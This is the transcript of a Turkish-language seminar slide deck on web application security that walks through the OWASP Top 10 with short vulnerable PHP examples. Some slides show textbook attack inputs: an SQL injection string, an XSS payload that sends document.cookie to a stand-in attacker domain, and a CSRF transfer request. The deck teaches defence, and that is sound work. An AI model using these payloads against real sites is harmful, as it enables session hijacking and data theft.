Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web Uygulamalarında Güvenlik

Web Uygulamalarında Güvenlik

Bilkent Özgür Yazılım ve İnternet Teknolojileri Kulübü Siber Güvenlik Seminerleri

Hidayet Doğan

November 29, 2013
Tweet

More Decks by Hidayet Doğan

Other Decks in Programming

Transcript

  1. Web Uygulamalarında
    Güvenlik
    Bilkent Özgür Yazılım ve İnternet Teknolojileri Kulübü Siber Güvenlik Seminerleri

    View full-size slide

  2. Merhaba!
    • Hidayet Doğan
    • http://hi.do
    • @hdogan

    View full-size slide

  3. Hurafeler
    • “POST” metod daha güvenlidir hacı.
    • “hidden” input kimse tarafından görüntülenemez.
    • Kodu bir tek ben görüyorum, benden başka kimse
    neyin nasıl olduğunu tahmin edemez.

    View full-size slide

  4. Artizlik
    • Benim işim değil, (sistemcini|veritabancını)n işi.
    • Ben biliyom, en çok ben bilirim, en çok bana
    soracaksınız. Şurdan şöyle girdiler sisteme.

    View full-size slide

  5. Cahil Cesareti / WTF?
    • Hızlı ve güvenilir ASP(döt)NET kullanılacak.
    • Microfart $QL kullansaydık böyle olmazdı.

    View full-size slide

  6. Ne gerek var?

    View full-size slide

  7. Ne gerek var?
    • Saldırıların %70’i altyapıya değil uygulamaya yapılıyor.
    (Gartner)
    • DDoS saldırılarının %25’i uygulamaya yapılıyor.
    (Gartner)
    • Kurumların %73’ü 2 yıl içinde en az 1 defa, web
    uygulamaları üzerinden “hack”leniyor. (Phonemon
    Institute)
    • Altyapıda/ağda yapılacak çözümler uygulamaya saldırı
    yapılmayacak anlamına gelmez.

    View full-size slide

  8. Oku, Tanı, Takip Et
    • RTFM!
    • Çalıştığın ortam (veritabanı, web sunucusu, işletim
    sistemi)
    • Kullandığın kütüphaneler
    • Yeni birşey var mı? Neyi düzeltmişler?

    View full-size slide

  9. OWASP
    Open Web Application Security Project
    http://www.owasp.org

    View full-size slide

  10. OWASP İlk 10
    • Enjeksiyon, sızma (Injection)
    • Bozuk kimlik doğrulama ve oturum yönetimi (Broken Authentication / Session)
    • Cross-Site Scripting (XSS)
    • Güvenlik önlemsiz doğrudan erişim (Insecure Direct Object Reference)
    • Hatalı güvenlik ayarları (Security Misconfiguration)
    • Hassas verilerin ortada bırakılması (Sensitive Data Exposure)
    • Eksik (işlev bazlı) erişim kontrolü (Missing Access Control)
    • Cross-Site Request Forgery (CSRF)
    • Zafiyetleri bilinen bileşenleri kullanmak
    • Kontrolsüz yönlendirmeler (Unvalidated Redirects / Forwards)

    View full-size slide

  11. Enjeksiyon (Injection)
    • Hedef yorumlayıcı içine sızma.
    • En yaygını SQL Injection.
    • Ziyaretçiden gelen veriyi süzmemek.
    $query = “SELECT * FROM kayitlar WHERE kayit_no = ‘ “ . $_GET[‘kayit_no'] . “ ‘ “;
    ?>
    http://ornek.com/kayit-goster.php?kayit_no=' OR ‘1’ = ‘1

    View full-size slide

  12. Bozuk Kimlik Doğrulama ve Oturum
    Yönetimi (Broken Authentication / Session)
    • Parolaları veritabanında kabak gibi açıkta tutmak.
    • Zayıf kimlik yönetimi.
    • Adres satırından oturum kimliği iletmek.
    • Zaman aşımsız oturum yönetimi.
    http://ornek.com/benim_hesabim.php?
    SESSIONID=4950ce77b4b73ca33c32e7dc5b8a3e9e

    View full-size slide

  13. Cross-Site Scripting (XSS)
    • Ziyaretçiden gelen verinin güvenilir olduğunu sanmak.
    • En yaygını JavaScript kodları göndermek.

    ">document.location='http://lAmErbOyZ.kom/oh-yeah.jsp?<br/>veriler='+document.cookie;

    View full-size slide

  14. Güvenlik Önlemsiz Doğrudan Erişim
    (Insecure Direct Object Reference)
    • Sadece kullanıcıdan gelen veri ile hareket etmek.
    • Talep edilen veri gerçekten ziyaretçiye mi ait?
    $query = "SELECT * FROM sepetler WHERE hesap_no = " . intval($_GET['hesap_no']);
    ?>
    http://ornek.com/alisveris_sepetim.php?hesap_no=123

    View full-size slide

  15. Hatalı Güvenlik Ayarları
    (Security Misconfiguration)
    • Güncel olmayan sürümlerin kullanılması
    • Gereksiz (kullanılmayan) özelliklerin açık bırakılması
    • Öntanımlı hesapların, parolaların bırakılması
    • Hata, ayıklama (debug) raporlarının ziyaretçiler
    tarafından görünür olarak bırakılması

    View full-size slide

  16. Hassas Verilerin Ortada Bırakılması
    (Sensitive Data Exposure)
    • Hassas verileri açık şekilde aktarmak, saklamak.
    • Eski / dandik şifreleme algoritlamaları kullanmak.

    View full-size slide

  17. Cross-Site Request Forgery
    (CSRF)
    • Ziyaretçiyi taklit etmek.
    • Ziyaretçiden habersiz direktifler göndermek.
    kimden=Engür&
    kime=lAmErbOyZ&
    miktar=8" width="0" height="0">

    View full-size slide

  18. Zafiyetleri Bilinen Bileşenler
    Kullanmak
    • Eceli gelen köpüş cami duvarına …
    • A: Güncelleme geldi sahip.

    B: Önemli birşey yoktur, yarın bakarım.
    • Genellikle otomatik tarayıcılar sizi gelir bulur.
    • Takip Et: Common Vulnerabilities and Exposures
    (CVE)
    • http://cve.mitre.org

    View full-size slide

  19. Kontrolsüz Yönlendirmeler
    (Unvalidated Redirects / Forwards)
    • Ziyaretçiler gerçekten tahmin ettiğin gibi senin
    uygulaman içinde bir yere mi yönlendiriliyorlar?
    if ($giris == 'tamam') {
    header("Location: $adres");
    }
    ?>

    View full-size slide

  20. Teşekkürler
    • http://www.owasp.org
    • http://cve.mitre.org
    • http://websec.io

    View full-size slide